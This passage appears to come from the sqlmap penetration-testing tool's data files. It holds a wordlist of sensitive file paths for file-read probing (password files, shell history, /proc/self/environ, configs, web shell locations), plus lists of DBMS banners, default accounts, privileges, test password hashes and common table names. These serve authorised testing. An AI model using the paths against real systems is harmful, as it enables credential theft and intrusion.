\boot.ini \inetpub\wwwroot\web.config \web.config \windows\system32\drivers\etc\hosts \windows\win.ini # Reference: https://repo.theoremforge.com/pentesting/tools/blob/0f1f0578739870b633c267789120d85982545a69/Uncategorized/Dump/lfiunix.txt /etc/apache2/.htpasswd /etc/apache/.htpasswd /etc/master.passwd /etc/muddleftpd/muddleftpd.passwd /etc/muddleftpd/passwd /etc/passwd /etc/passwd~ /etc/passwd- /etc/pureftpd.passwd /etc/samba/private/smbpasswd /etc/samba/smbpasswd /etc/security/opasswd /etc/security/passwd /etc/smbpasswd \Program Files\xampp\apache\conf\httpd.conf /usr/local/pgsql/bin/pg_passwd /usr/local/pgsql/data/passwd /usr/pkgsrc/net/pureftpd/pureftpd.passwd /usr/ports/contrib/pure-ftpd/pureftpd.passwd /usr/ports/ftp/pure-ftpd/pureftpd.passwd /usr/ports/net/pure-ftpd/pureftpd.passwd /var/log/exim_rejectlog/etc/passwd /etc/mysql/conf.d/old_passwords.cnf /etc/password.master /var/www/.lighttpdpassword /Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf /Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf /Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf /Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php /Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php /Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php /Volumes/Macintosh_HD1/usr/local/php/lib/php.ini /Volumes/webBackup/opt/apache2/conf/httpd.conf /Volumes/webBackup/private/etc/httpd/httpd.conf /Volumes/webBackup/private/etc/httpd/httpd.conf.default # Reference: https://pastebin.com/KgPsDXjg /etc/passwd /etc/crontab /etc/hosts /etc/my.cnf /etc/.htpasswd /root/.bash_history /etc/named.conf /proc/self/environ /etc/php.ini /bin/php.ini /etc/httpd/php.ini /usr/lib/php.ini /usr/lib/php/php.ini /usr/local/etc/php.ini /usr/local/lib/php.ini /usr/local/php/lib/php.ini /usr/local/php4/lib/php.ini /usr/local/php5/lib/php.ini /usr/local/apache/conf/php.ini /etc/php4.4/fcgi/php.ini /etc/php4/apache/php.ini /etc/php4/apache2/php.ini /etc/php5/apache/php.ini /etc/php5/apache2/php.ini /etc/php/7.4/apache2/php.ini /etc/php/php.ini /usr/local/apache/conf/modsec.conf /var/cpanel/cpanel.config /proc/self/environ /proc/self/fd/2 /etc/ssh/sshd_config /var/lib/mysql/my.cnf /etc/mysql/my.cnf /etc/my.cnf /etc/logrotate.d/proftpd /www/logs/proftpd.system.log /var/log/proftpd /etc/proftp.conf /etc/protpd/proftpd.conf /etc/vhcs2/proftpd/proftpd.conf /etc/proftpd/modules.conf /etc/vsftpd.chroot_list /etc/vsftpd/vsftpd.conf /etc/vsftpd.conf /etc/chrootUsers /etc/wu-ftpd/ftpaccess /etc/wu-ftpd/ftphosts /etc/wu-ftpd/ftpusers /usr/sbin/pure-config.pl /usr/etc/pure-ftpd.conf /etc/pure-ftpd/pure-ftpd.conf /usr/local/etc/pure-ftpd.conf /usr/local/etc/pureftpd.pdb /usr/local/pureftpd/etc/pureftpd.pdb /usr/local/pureftpd/sbin/pure-config.pl /usr/local/pureftpd/etc/pure-ftpd.conf /etc/pure-ftpd.conf /etc/pure-ftpd/pure-ftpd.pdb /etc/pureftpd.pdb /etc/pureftpd.passwd /etc/pure-ftpd/pureftpd.pdb /var/log/ftp-proxy /etc/logrotate.d/ftp /etc/ftpchroot /etc/ftphosts /etc/smbpasswd /etc/smb.conf /etc/samba/smb.conf /etc/samba/samba.conf /etc/samba/smb.conf.user /etc/samba/smbpasswd /etc/samba/smbusers /var/lib/pgsql/data/postgresql.conf /var/postgresql/db/postgresql.conf /etc/ipfw.conf /etc/firewall.rules /etc/ipfw.rules /usr/local/etc/webmin/miniserv.conf /etc/webmin/miniserv.conf /usr/local/etc/webmin/miniserv.users /etc/webmin/miniserv.users /etc/squirrelmail/config/config.php /etc/squirrelmail/config.php /etc/httpd/conf.d/squirrelmail.conf /usr/share/squirrelmail/config/config.php /private/etc/squirrelmail/config/config.php /srv/www/htdos/squirrelmail/config/config.php # Web shells /var/www/html/backdoor.php /var/www/html/b374k.php /var/www/html/c99.php /var/www/html/cmd.php /var/www/html/r57.php /var/www/html/shell.php /var/www/html/wso.php # Misc /app/app.js /app/configure.js /app/config/config.json /etc/grafana/grafana.ini /opt/kibana/config/kibana.yml /etc/kibana/kibana.yml /etc/elasticsearch/elasticsearch.yml ================================================ FILE: data/txt/common-outputs.txt ================================================ # Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission [Banners] # MySQL 3.22. 3.23. 4.0. 4.1. 5.0. 5.1. 5.5. 5.6. 5.7. 6.0. 8.0. 8.1. 8.2. 8.3. 8.4. 9.0. 9.1. 9.2. 9.3. # PostgreSQL PostgreSQL 7.0 PostgreSQL 7.1 PostgreSQL 7.2 PostgreSQL 7.3 PostgreSQL 7.4 PostgreSQL 8.0 PostgreSQL 8.1 PostgreSQL 8.2 PostgreSQL 8.3 PostgreSQL 8.4 PostgreSQL 8.5 PostgreSQL 9.0 PostgreSQL 9.1 PostgreSQL 9.2 PostgreSQL 9.3 PostgreSQL 9.4 PostgreSQL 9.5 PostgreSQL 9.6 PostgreSQL 10. PostgreSQL 11. PostgreSQL 12. PostgreSQL 13. PostgreSQL 14. PostgreSQL 15. PostgreSQL 16. PostgreSQL 17. # Oracle Oracle Database 9i Standard Edition Release Oracle Database 9i Standard Edition Release 9. Oracle Database 9i Express Edition Release Oracle Database 9i Express Edition Release 9. Oracle Database 9i Enterprise Edition Release Oracle Database 9i Enterprise Edition Release 9. Oracle Database 10g Standard Edition Release Oracle Database 10g Standard Edition Release 10. Oracle Database 10g Express Edition Release Oracle Database 10g Enterprise Edition Release Oracle Database 10g Enterprise Edition Release 10. Oracle Database 11g Standard Edition Release Oracle Database 11g Standard Edition Release 11. Oracle Database 11g Express Edition Release Oracle Database 11g Express Edition Release 11. Oracle Database 11g Enterprise Edition Release Oracle Database 11g Enterprise Edition Release 11. Oracle Database 12c Oracle Database 18c Oracle Database 19c Oracle Database 21c Oracle Database 23ai Oracle Database 26ai # Microsoft SQL Server Microsoft SQL Server 7.0 Microsoft SQL Server 2000 Microsoft SQL Server 2005 Microsoft SQL Server 2008 Microsoft SQL Server 2012 Microsoft SQL Server 2014 Microsoft SQL Server 2016 Microsoft SQL Server 2017 Microsoft SQL Server 2019 Microsoft SQL Server 2022 Microsoft SQL Server 2025 [Users] # MySQL >= 5.0 'debian-sys-maint'@'localhost' 'root'@'%' 'root'@'localhost' # MySQL < 5.0 debian-sys-maint root # PostgreSQL postgres # Oracle ANONYMOUS CTXSYS DBSNMP DIP DMSYS EXFSYS MDDATA MDSYS MGMT_VIEW OLAPSYS ORDPLUGINS ORDSYS OUTLN SCOTT SI_INFORMTN_SCHEMA SYS SYSMAN SYSTEM TSMSYS WMSYS XDB # Microsoft SQL Server sa [Passwords] # MySQL *00E247AC5F9AF26AE0194B41E1E769DEE1429A29 # testpass # PostgreSQL md599e5ea7a6f7c3269995cba3927fd0093 # testpass # Oracle 2D5A0C491B634F1B # testpass # Microsoft SQL Server 0x0100098a6200f657f7d012dfa7dc1fd1b154d4dfb8cd20596d22 # testpass [Privileges] # MySQL >= 5.0 ALTER ALTER ROUTINE CREATE CREATE ROUTINE CREATE TEMPORARY TABLES CREATE USER CREATE VIEW DELETE DROP EVENT EXECUTE FILE INDEX INSERT LOCK TABLES PROCESS REFERENCES RELOAD REPLICATION CLIENT REPLICATION SLAVE SELECT SHOW DATABASES SHOW VIEW SHUTDOWN SUPER TRIGGER UPDATE USAGE # MySQL < 5.0 select_priv insert_priv update_priv delete_priv create_priv drop_priv reload_priv shutdown_priv process_priv file_priv grant_priv references_priv index_priv alter_priv show_db_priv super_priv create_tmp_table_priv lock_tables_priv execute_priv repl_slave_priv repl_client_priv create_view_priv show_view_priv create_routine_priv alter_routine_priv create_user_priv # PostgreSQL catupd createdb super # Oracle ADMINISTER ANY SQL TUNING SET ADMINISTER DATABASE TRIGGER ADMINISTER RESOURCE MANAGER ADMINISTER SQL TUNING SET ADVISOR ALTER ANY CLUSTER ALTER ANY DIMENSION ALTER ANY EVALUATION CONTEXT ALTER ANY INDEX ALTER ANY INDEXTYPE ALTER ANY LIBRARY ALTER ANY MATERIALIZED VIEW ALTER ANY OUTLINE ALTER ANY PROCEDURE ALTER ANY ROLE ALTER ANY RULE ALTER ANY RULE SET ALTER ANY SEQUENCE ALTER ANY SQL PROFILE ALTER ANY TABLE ALTER ANY TRIGGER ALTER ANY TYPE ALTER DATABASE ALTER PROFILE ALTER RESOURCE COST ALTER ROLLBACK SEGMENT ALTER SESSION ALTER SYSTEM ALTER TABLESPACE ALTER USER ANALYZE ANY ANALYZE ANY DICTIONARY AUDIT ANY AUDIT SYSTEM BACKUP ANY TABLE BECOME USER CHANGE NOTIFICATION COMMENT ANY TABLE CREATE ANY CLUSTER CREATE ANY CONTEXT CREATE ANY DIMENSION CREATE ANY DIRECTORY CREATE ANY EVALUATION CONTEXT CREATE ANY INDEX CREATE ANY INDEXTYPE CREATE ANY JOB CREATE ANY LIBRARY CREATE ANY MATERIALIZED VIEW CREATE ANY OPERATOR CREATE ANY OUTLINE CREATE ANY PROCEDURE CREATE ANY RULE CREATE ANY RULE SET CREATE ANY SEQUENCE CREATE ANY SQL PROFILE CREATE ANY SYNONYM CREATE ANY TABLE CREATE ANY TRIGGER CREATE ANY TYPE CREATE ANY VIEW CREATE CLUSTER CREATE DATABASE LINK CREATE DIMENSION CREATE EVALUATION CONTEXT CREATE EXTERNAL JOB CREATE INDEXTYPE CREATE JOB CREATE LIBRARY CREATE MATERIALIZED VIEW CREATE OPERATOR CREATE PROCEDURE CREATE PROFILE CREATE PUBLIC DATABASE LINK CREATE PUBLIC SYNONYM CREATE ROLE CREATE ROLLBACK SEGMENT CREATE RULE CREATE RULE SET CREATE SEQUENCE CREATE SESSION CREATE SYNONYM CREATE TABLE CREATE TABLESPACE CREATE TRIGGER CREATE TYPE CREATE USER CREATE VIEW DEBUG ANY PROCEDURE DEBUG CONNECT SESSION DELETE ANY TABLE DEQUEUE ANY QUEUE DROP ANY CLUSTER DROP ANY CONTEXT DROP ANY DIMENSION DROP ANY DIRECTORY DROP ANY EVALUATION CONTEXT DROP ANY INDEX DROP ANY INDEXTYPE DROP ANY LIBRARY DROP ANY MATERIALIZED VIEW DROP ANY OPERATOR DROP ANY OUTLINE DROP ANY PROCEDURE DROP ANY ROLE DROP ANY RULE DROP ANY RULE SET DROP ANY SEQUENCE DROP ANY SQL PROFILE DROP ANY SYNONYM DROP ANY TABLE DROP ANY TRIGGER DROP ANY TYPE DROP ANY VIEW DROP PROFILE DROP PUBLIC DATABASE LINK DROP PUBLIC SYNONYM DROP ROLLBACK SEGMENT DROP TABLESPACE DROP USER ENQUEUE ANY QUEUE EXECUTE ANY CLASS EXECUTE ANY EVALUATION CONTEXT EXECUTE ANY INDEXTYPE EXECUTE ANY LIBRARY EXECUTE ANY OPERATOR EXECUTE ANY PROCEDURE EXECUTE ANY PROGRAM EXECUTE ANY RULE EXECUTE ANY RULE SET EXECUTE ANY TYPE EXPORT FULL DATABASE FLASHBACK ANY TABLE FORCE ANY TRANSACTION FORCE TRANSACTION GLOBAL QUERY REWRITE GRANT ANY OBJECT PRIVILEGE GRANT ANY PRIVILEGE GRANT ANY ROLE IMPORT FULL DATABASE INSERT ANY TABLE LOCK ANY TABLE MANAGE ANY FILE GROUP MANAGE ANY QUEUE MANAGE FILE GROUP MANAGE SCHEDULER MANAGE TABLESPACE MERGE ANY VIEW ON COMMIT REFRESH QUERY REWRITE READ ANY FILE GROUP RESTRICTED SESSION RESUMABLE SELECT ANY DICTIONARY SELECT ANY SEQUENCE SELECT ANY TABLE SELECT ANY TRANSACTION UNDER ANY TABLE UNDER ANY TYPE UNDER ANY VIEW UNLIMITED TABLESPACE UPDATE ANY TABLE [Roles] # Oracle AQ_ADMINISTRATOR_ROLE AQ_USER_ROLE AUTHENTICATEDUSER CONNECT CTXAPP DBA DELETE_CATALOG_ROLE EJBCLIENT EXECUTE_CATALOG_ROLE EXP_FULL_DATABASE GATHER_SYSTEM_STATISTICS HS_ADMIN_ROLE IMP_FULL_DATABASE JAVA_ADMIN JAVADEBUGPRIV JAVA_DEPLOY JAVAIDPRIV JAVASYSPRIV JAVAUSERPRIV LOGSTDBY_ADMINISTRATOR MGMT_USER OEM_ADVISOR OEM_MONITOR OLAP_DBA OLAP_USER RECOVERY_CATALOG_OWNER RESOURCE SCHEDULER_ADMIN SELECT_CATALOG_ROLE TABLE_ACCESSERS WM_ADMIN_ROLE XDBADMIN XDBWEBSERVICES [Databases] # MySQL information_schema performance_schema mysql phpmyadmin # PostgreSQL pg_catalog postgres public template0 template1 # Microsoft SQL Server AdventureWorks AdventureWorksDW master model msdb ReportServer ReportServerTempDB tempdb # Cloud Defaults rdsadmin innodb azure_maintenance [Tables] # MySQL >= 5.0 CHARACTER_SETS COLLATION_CHARACTER_SET_APPLICABILITY COLLATIONS COLUMN_PRIVILEGES COLUMNS ENGINES EVENTS FILES GLOBAL_STATUS GLOBAL_VARIABLES KEY_COLUMN_USAGE PARTITIONS PLUGINS PROCESSLIST PROFILING REFERENTIAL_CONSTRAINTS ROUTINES SCHEMA_PRIVILEGES SCHEMATA SESSION_STATUS SESSION_VARIABLES STATISTICS TABLE_CONSTRAINTS TABLE_PRIVILEGES TABLES TRIGGERS USER_PRIVILEGES VIEWS # MySQL columns_priv db event func general_log help_category help_keyword help_relation help_topic host ndb_binlog_index plugin proc procs_priv servers slow_log tables_priv time_zone time_zone_leap_second time_zone_name time_zone_transition time_zone_transition_type user # phpMyAdmin pma_bookmark pma_column_info pma_designer_coords pma_history pma_pdf_pages pma_relation pma_table_coords pma_table_info # Wordpress wp_users wp_posts wp_comments wp_options wp_postmeta wp_terms wp_term_taxonomy wp_term_relationships wp_links wp_commentmeta # WooCommerce wp_woocommerce_sessions wp_woocommerce_api_keys wp_woocommerce_attribute_taxonomies # Magento catalog_product_entity sales_order sales_order_item customer_entity quote # Drupal node users field_data_body field_revision_body taxonomy_term_data taxonomy_vocabulary # Joomla joomla_users joomla_content joomla_categories joomla_modules # PostgreSQL pg_aggregate pg_am pg_amop pg_amproc pg_attrdef pg_attribute pg_authid pg_auth_members pg_cast pg_class pg_constraint pg_conversion pg_cron_job pg_cron_job_run_detail pg_database pg_depend pg_description pg_enum pg_foreign_data_wrapper pg_foreign_server pg_index pg_inherits pg_language pg_largeobject pg_listener pg_namespace pg_opclass pg_operator pg_opfamily pg_pltemplate pg_proc pg_rewrite pg_shdepend pg_shdescription pg_statistic pg_stat_statements pg_tablespace pg_trigger pg_ts_config pg_ts_config_map pg_ts_dict pg_ts_parser pg_ts_template pg_type pg_user_mapping sql_features sql_implementation_info sql_languages sql_packages sql_parts sql_sizing sql_sizing_profiles # Oracle (demo database) BONUS DEPT EMP SALGRADE USERS # Microsoft SQL Server ## Database: AdventureWorksDW AdventureWorksDWBuildVersion DatabaseLog DimAccount DimCurrency DimCustomer DimDepartmentGroup DimEmployee DimGeography DimOrganization DimProduct DimProductCategory DimProductSubcategory DimPromotion DimReseller DimSalesReason DimSalesTerritory DimScenario DimTime FactCurrencyRate FactFinance FactInternetSales FactInternetSalesReason FactResellerSales FactSalesQuota ProspectiveBuyer vAssocSeqLineItems vAssocSeqOrders vDMPrep vTargetMail vTimeSeries ## Database: master all_columns all_objects all_parameters all_sql_modules all_views allocation_units assemblies assembly_files assembly_modules assembly_references assembly_types asymmetric_keys backup_devices certificates CHECK_CONSTRAINTS check_constraints COLUMN_DOMAIN_USAGE COLUMN_PRIVILEGES column_type_usages column_xml_schema_collection_usages columns COLUMNS computed_columns configurations CONSTRAINT_COLUMN_USAGE CONSTRAINT_TABLE_USAGE conversation_endpoints conversation_groups credentials crypt_properties data_spaces database_files database_mirroring database_mirroring_endpoints database_mirroring_witnesses database_permissions database_principal_aliases database_principals database_recovery_status database_role_members databases default_constraints destination_data_spaces dm_broker_activated_tasks dm_broker_connections dm_broker_forwarded_messages dm_broker_queue_monitors dm_clr_appdomains dm_clr_loaded_assemblies dm_clr_properties dm_clr_tasks dm_db_file_space_usage dm_db_index_usage_stats dm_db_mirroring_connections dm_db_missing_index_details dm_db_missing_index_group_stats dm_db_missing_index_groups dm_db_partition_stats dm_db_session_space_usage dm_db_task_space_usage dm_exec_background_job_queue dm_exec_background_job_queue_stats dm_exec_cached_plans dm_exec_connections dm_exec_query_optimizer_info dm_exec_query_stats dm_exec_query_transformation_stats dm_exec_requests dm_exec_sessions dm_fts_active_catalogs dm_fts_index_population dm_fts_memory_buffers dm_fts_memory_pools dm_fts_population_ranges dm_io_backup_tapes dm_io_cluster_shared_drives dm_io_pending_io_requests dm_os_buffer_descriptors dm_os_child_instances dm_os_cluster_nodes dm_os_hosts dm_os_latch_stats dm_os_loaded_modules dm_os_memory_allocations dm_os_memory_cache_clock_hands dm_os_memory_cache_counters dm_os_memory_cache_entries dm_os_memory_cache_hash_tables dm_os_memory_clerks dm_os_memory_objects dm_os_memory_pools dm_os_performance_counters dm_os_ring_buffers dm_os_schedulers dm_os_stacks dm_os_sublatches dm_os_sys_info dm_os_tasks dm_os_threads dm_os_virtual_address_dump dm_os_wait_stats dm_os_waiting_tasks dm_os_worker_local_storage dm_os_workers dm_qn_subscriptions dm_repl_articles dm_repl_schemas dm_repl_tranhash dm_repl_traninfo dm_tran_active_snapshot_database_transactions dm_tran_active_transactions dm_tran_current_snapshot dm_tran_current_transaction dm_tran_database_transactions dm_tran_locks dm_tran_session_transactions dm_tran_top_version_generators dm_tran_transactions_snapshot dm_tran_version_store DOMAIN_CONSTRAINTS DOMAINS endpoint_webmethods endpoints event_notification_event_types event_notifications events extended_procedures extended_properties filegroups foreign_key_columns foreign_keys fulltext_catalogs fulltext_document_types fulltext_index_catalog_usages fulltext_index_columns fulltext_indexes fulltext_languages http_endpoints identity_columns index_columns indexes internal_tables KEY_COLUMN_USAGE key_constraints key_encryptions linked_logins login_token master_files master_key_passwords message_type_xml_schema_collection_usages messages module_assembly_usages MSreplication_options numbered_procedure_parameters numbered_procedures objects openkeys parameter_type_usages parameter_xml_schema_collection_usages parameters PARAMETERS partition_functions partition_parameters partition_range_values partition_schemes partitions plan_guides procedures REFERENTIAL_CONSTRAINTS remote_logins remote_service_bindings routes ROUTINE_COLUMNS ROUTINES schemas SCHEMATA securable_classes server_assembly_modules server_event_notifications server_events server_permissions server_principals server_role_members server_sql_modules server_trigger_events server_triggers servers service_broker_endpoints service_contract_message_usages service_contract_usages service_contracts service_message_types service_queue_usages service_queues services soap_endpoints spt_fallback_db spt_fallback_dev spt_fallback_usg spt_monitor spt_values sql_dependencies sql_logins sql_modules stats stats_columns symmetric_keys synonyms sysaltfiles syscacheobjects syscharsets syscolumns syscomments sysconfigures sysconstraints syscurconfigs syscursorcolumns syscursorrefs syscursors syscursortables sysdatabases sysdepends sysdevices sysfilegroups sysfiles sysforeignkeys sysfulltextcatalogs sysindexes sysindexkeys syslanguages syslockinfo syslogins sysmembers sysmessages sysobjects sysoledbusers sysopentapes sysperfinfo syspermissions sysprocesses sysprotects sysreferences sysremotelogins syssegments sysservers system_columns system_components_surface_area_configuration system_internals_allocation_units system_internals_partition_columns system_internals_partitions system_objects system_parameters system_sql_modules system_views systypes sysusers TABLE_CONSTRAINTS TABLE_PRIVILEGES TABLES tables tcp_endpoints trace_categories trace_columns trace_event_bindings trace_events trace_subclass_values traces transmission_queue trigger_events triggers type_assembly_usages types user_token via_endpoints VIEW_COLUMN_USAGE VIEW_TABLE_USAGE views VIEWS xml_indexes xml_schema_attributes xml_schema_collections xml_schema_component_placements xml_schema_components xml_schema_elements xml_schema_facets xml_schema_model_groups xml_schema_namespaces xml_schema_types xml_schema_wildcard_namespaces xml_schema_wildcards ## Database: msdb backupfile backupfilegroup backupmediafamily backupmediaset backupset log_shipping_monitor_alert log_shipping_monitor_error_detail log_shipping_monitor_history_detail log_shipping_monitor_primary log_shipping_monitor_secondary log_shipping_primaries log_shipping_primary_databases log_shipping_primary_secondaries log_shipping_secondaries log_shipping_secondary log_shipping_secondary_databases logmarkhistory MSdatatype_mappings MSdbms MSdbms_datatype MSdbms_datatype_mapping MSdbms_map restorefile restorefilegroup restorehistory sqlagent_info suspect_pages sysalerts syscachedcredentials syscategories sysdatatypemappings sysdbmaintplan_databases sysdbmaintplan_history sysdbmaintplan_jobs sysdbmaintplans sysdownloadlist sysdtscategories sysdtslog90 sysdtspackagefolders90 sysdtspackagelog sysdtspackages sysdtspackages90 sysdtssteplog sysdtstasklog sysjobactivity sysjobhistory sysjobs sysjobs_view sysjobschedules sysjobservers sysjobsteps sysjobstepslogs sysmail_account sysmail_allitems sysmail_attachments sysmail_attachments_transfer sysmail_configuration sysmail_event_log sysmail_faileditems sysmail_log sysmail_mailattachments sysmail_mailitems sysmail_principalprofile sysmail_profile sysmail_profileaccount sysmail_query_transfer sysmail_send_retries sysmail_sentitems sysmail_server sysmail_servertype sysmail_unsentitems sysmaintplan_log sysmaintplan_logdetail sysmaintplan_plans sysmaintplan_subplans sysnotifications sysoperators sysoriginatingservers sysoriginatingservers_view sysproxies sysproxylogin sysproxyloginsubsystem_view sysproxysubsystem sysschedules sysschedules_localserver_view syssessions syssubsystems systargetservergroupmembers systargetservergroups systargetservers systargetservers_view systaskids ## Database: AdventureWorks Address AddressType AWBuildVersion BillOfMaterials Contact ContactCreditCard ContactType CountryRegion CountryRegionCurrency CreditCard Culture Currency CurrencyRate Customer CustomerAddress DatabaseLog Department Document Employee EmployeeAddress EmployeeDepartmentHistory EmployeePayHistory ErrorLog Illustration Individual JobCandidate Location Product ProductCategory ProductCostHistory ProductDescription ProductDocument ProductInventory ProductListPriceHistory ProductModel ProductModelIllustration ProductModelProductDescriptionCulture ProductPhoto ProductProductPhoto ProductReview ProductSubcategory ProductVendor PurchaseOrderDetail PurchaseOrderHeader SalesOrderDetail SalesOrderHeader SalesOrderHeaderSalesReason SalesPerson SalesPersonQuotaHistory SalesReason SalesTaxRate SalesTerritory SalesTerritoryHistory ScrapReason Shift ShipMethod ShoppingCartItem SpecialOffer SpecialOfferProduct StateProvince Store StoreContact TransactionHistory TransactionHistoryArchive UnitMeasure vAdditionalContactInfo vEmployee vEmployeeDepartment vEmployeeDepartmentHistory Vendor VendorAddress VendorContact vIndividualCustomer vIndividualDemographics vJobCandidate vJobCandidateEducation vJobCandidateEmployment vProductAndDescription vProductModelCatalogDescription vProductModelInstructions vSalesPerson vSalesPersonSalesByFiscalYears vStateProvinceCountryRegion vStoreWithDemographics vVendor WorkOrder WorkOrderRouting # Common tables accounts admin audit backup config configuration customers data files history images log logs members messages orders products settings test tokens uploads [Columns] # MySQL ## Table: mysql.user Alter_priv Alter_routine_priv Create_priv Create_routine_priv Create_tmp_table_priv Create_user_priv Create_view_priv Delete_priv Drop_priv Event_priv Execute_priv File_priv Grant_priv Host Index_priv Insert_priv Lock_tables_priv max_connections max_questions max_updates max_user_connections Password Process_priv References_priv Reload_priv Repl_client_priv Repl_slave_priv Select_priv Show_db_priv Show_view_priv Shutdown_priv ssl_cipher ssl_type Super_priv Trigger_priv Update_priv User x509_issuer x509_subject # Oracle (types) BINARY_INTEGER BLOB BOOLEAN CHAR CLOB DATE INTERVAL LONG MLSLABEL NCHAR NCLOB NUMBER NVARCHAR2 RAW ROWID TIMESTAMP VARCHAR VARCHAR2 XMLType # MySQL (types) bigint blob char date datetime decimal double enum float int set smallint text time tinyint varchar year # Microsoft SQL Server (types) bigint binary bit char cursor date datetime datetime2 datetimeoffset decimal float image int money nchar ntext numeric nvarchar real smalldatetime smallint smallmoney sql_variant table text time timestamp tinyint uniqueidentifier varbinary varchar xml # PostgreSQL (types) bigint bigserial boolean bpchar bytea character date decimal double precision int4 integer interval money numeric real serial smallint text time timestamp # Common columns active address admin blocked category_id city confirmed country created_at created_on customer_id deleted deleted_at dob email enabled first_name flag gender hidden is_active is_deleted is_published last_name locked login modified_on name order_id password phone private product_id public role salt state status timestamp token type updated_at user_id username visible zip zip_code ================================================ FILE: data/txt/common-tables.txt ================================================ # Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission users customer user orders employee x_world category project account customers country config groups inventory department categories messages person comments sessions student items employees language accounts product CUSTOMER faculty location item authors parts members countries status menu dependent modules role products page chart task posts DEPT Person user_role ORDERS emp album EMP log INVENTORY payments part permission contact borrower report color admin SALGRADE PRODUCT vendor tax branch projects data course jobs watchlist shipment_line CATEGORY categoryNames attributeCategory db PS_DMK study event invoice order_source topics students order_line regions CPG_config news dept permissions events shipment sections ITEM hosts form_definition_version alias people role_permission applications CPG_usergroups image organization courses loan form_definition configuration hibernate_unique_key order form_error payment Author history task_param movies dept_locations track services EMPLOYEE works_on patient Student form_data setting PUBLISHER partsgroup languages depositor CPG_categories book Orders job_history metadata exchangerate shipto rcpt team address tasks queue_info subscribers city field_options locations statename BOOK zuseserver ap ar Employees USER userInfo telephone session User video LOCATION tf_links ACCOUNT artist property the request acc_trans lending postaladdress Customers xmldocument jiveID domain promotion CPG_filetypes assembly business orderitems locale gl links located identities sizes companies payload Organization protocol transfers encompasses borders profiles salesorder mailbox contacts tables_priv admin_logs text phpbb_config plugin stores host Book gifi user_groups term internetaddress tf_settings region poll makemodel partstax catalog question vendors departments notes delivery_quality queries identification friends PERSON course_section jiveRemoteServerConf channels object chip_layout login user_newtalk entrants Device imageInfo developers items_template defaults osc_products mucRoomProp settings DEPENDENT imageCategoryList islandIn mobile_menu_text jiveUserProp osc_products_options_values wp_posts package mucRoom vendortax attrs config_seq company register checksum_results ENROLLMENT operation binaries COURSE_SECTION Students func enrollment readers action_element friend_statuses Domain servers UserFields revision meals resources mixins sys_options_cats licenses SIGNON clients Apply ThumbnailKeyword form_definition_text system jiveOffline tickers BANNERDATA mucAffiliation rooms objectcache collection_item_count jiveRoster Volume lookup investigator math jivePrivate osc_manufacturers_info PROFILE categories_posts Flight Gallery scripts AUTHOR physician client cv_country_synonyms osc_categories interwiki archive members_networks language_text UserType friend osc_products_description osc_products_to_categories article recentchanges media conducts sales CurrentUsers Country querycache Publication Pilot Regions DEPT_LOCATIONS master_table funny_jokes jos_vm_payment_method osc_products_images specialty visits ipblocks WidgetPrices experiment Publisher control protocol_action jivePrivacyList subImageInfo plugin_sid message_statuses state GalleryThumb hitcounter jiveGroupProp ingredients community_item_count jiveExtComponentConf SEQUENCE Continent rights Path osc_manufacturers logging sailors Description warehouse DEPARTMENT legacy_things jiveVCard agent CPG_bridge CUSTOMERS jiveProperty app_user keyboards categorylinks grants Action WidgetReferences product_type developers_projects userAttribute form_data_archive action_attribute Thumbnail jiveGroupUser computers customertax sector networks columns_priv globals Widgets TERM salgrade mucMember imagelinks exchange Status WORKS_ON lines testusers mobile_menu staff tblusers hashes partner Product personnel ads osc_specials Keyword supplier agent_specialty pokes profile_pictures oldimage isMember userImageRating detail_table osc_products_attributes officer COURSE Time locatedOn medicalprocedure mergesWith author UserFieldsInfo Employee oe insurance SUPPLIER song imageAttribute views_track extremes jiveRosterGroups webcal_config phpbb_ranks triggers_template appVersions DUMMY ROLE activity study_text osc_products_options City osc_reviews edge questions partof blobs tag userSession vcd job site_stats mucConversationLog sequence madewith OperationStatus SPJ zutat_cocktail zipcodes insertids ChemList product_category hero reports devel_logsql f_sequence MEMBER ClassificationScheme ez_webstats_conf credential utilise ACL_table service_request_log feedback vars tblblogentriescategories assignment CUST_HIST ew_menu time_zone_transition_type child_configs LIBRARY_BRANCH Company Component webcal_entry_log transactions webcal_entry_ext_user dept_location ConsultantsTable phonelist sys_acl_actions participate population dtb_order files_config PropColumnMap result triggers audittrail userlist backgroundJob_table sf_guard_user_permission my_lake sampleData reciprocal_partnersites rss_categories ADMIN Factory_Output geo_Estuary phpbb_themes forum ClientsTable rating_track iplinks maxcodevento reciprocal_admin ew_moduli CheckType cmLanguage phpbb_points_config guava_sysmodules querycachetwo BOOK_AUTHORS records reciprocal_config newsletter_queue passwds phpbb_posts_text biosample connectorassocs BOOK_COPIES jos_sections vote SCRIPT THOT_CATEGORY artifact object_types pages usuario CE_table phpbb_forums tbl_country Products dtb_bat_order_daily site_wtype geo_mountain expression Simple_Response photoo photos version_data allocation dtb_category_total_count habilidad PREFIX_group_lang work_orders SELLER cv_soil taxon bkp_ItemResource ezcontentobject_trash webcal_view pagecontent Collection maxcodcurso phpbb_user_group InstanceStringTable bldg_types t1 mailaddresses section m_type configlist trade Parameter tbl_works_categories help_category bkp_String Class_Display_Sequence EPIXEIRISI sounds phpbb_groups dtb_campaign produit adblocks vendor_seq guava_theme_modules dtb_pagelayout bookings writes writer distance jforum_groups Polynomial river GROUP sea IDIOTIS cmPublication last UsageParameter phpbb_topics t_peep PREFIX_group dtb_delivfee equipment_type_seq wp_users news_category SchemaInfo WidgetDescriptions dtb_category_count sidebar facets jforum_roles geo_Lake religion nuke_gallery_media_class cia DatabaseInfo THOT_THEME enrolled liste_domaines DEMO_PROJECTS ORDERSTATUS site_iwis MountainOnIsland bkp_ItemReference Category Mountain INSTITUTE POINT forum_vote THOT_TYPE cmts_track bkp_ItemReplication hostbenchmarks filearchive f_spatialcontext UM_ROLE_ATTRIBUTES SCALE maclinks books interactions graphs_items stars BID enrolls site_environment user_types Severity partscustomer wp_pod_types River marital_status PZ PN email CustomerCards mtb_zip Campus hardware dtb_other_deliv pricegroup commissionEmployees cv_pests_diseases tbl_tech macswitches cc_config audit colour command audio egresado transport schedule routers zips Descriptions software wh_der_children delivery placex cv_crops problem Station_Data account_transaction time_zone_name numedia 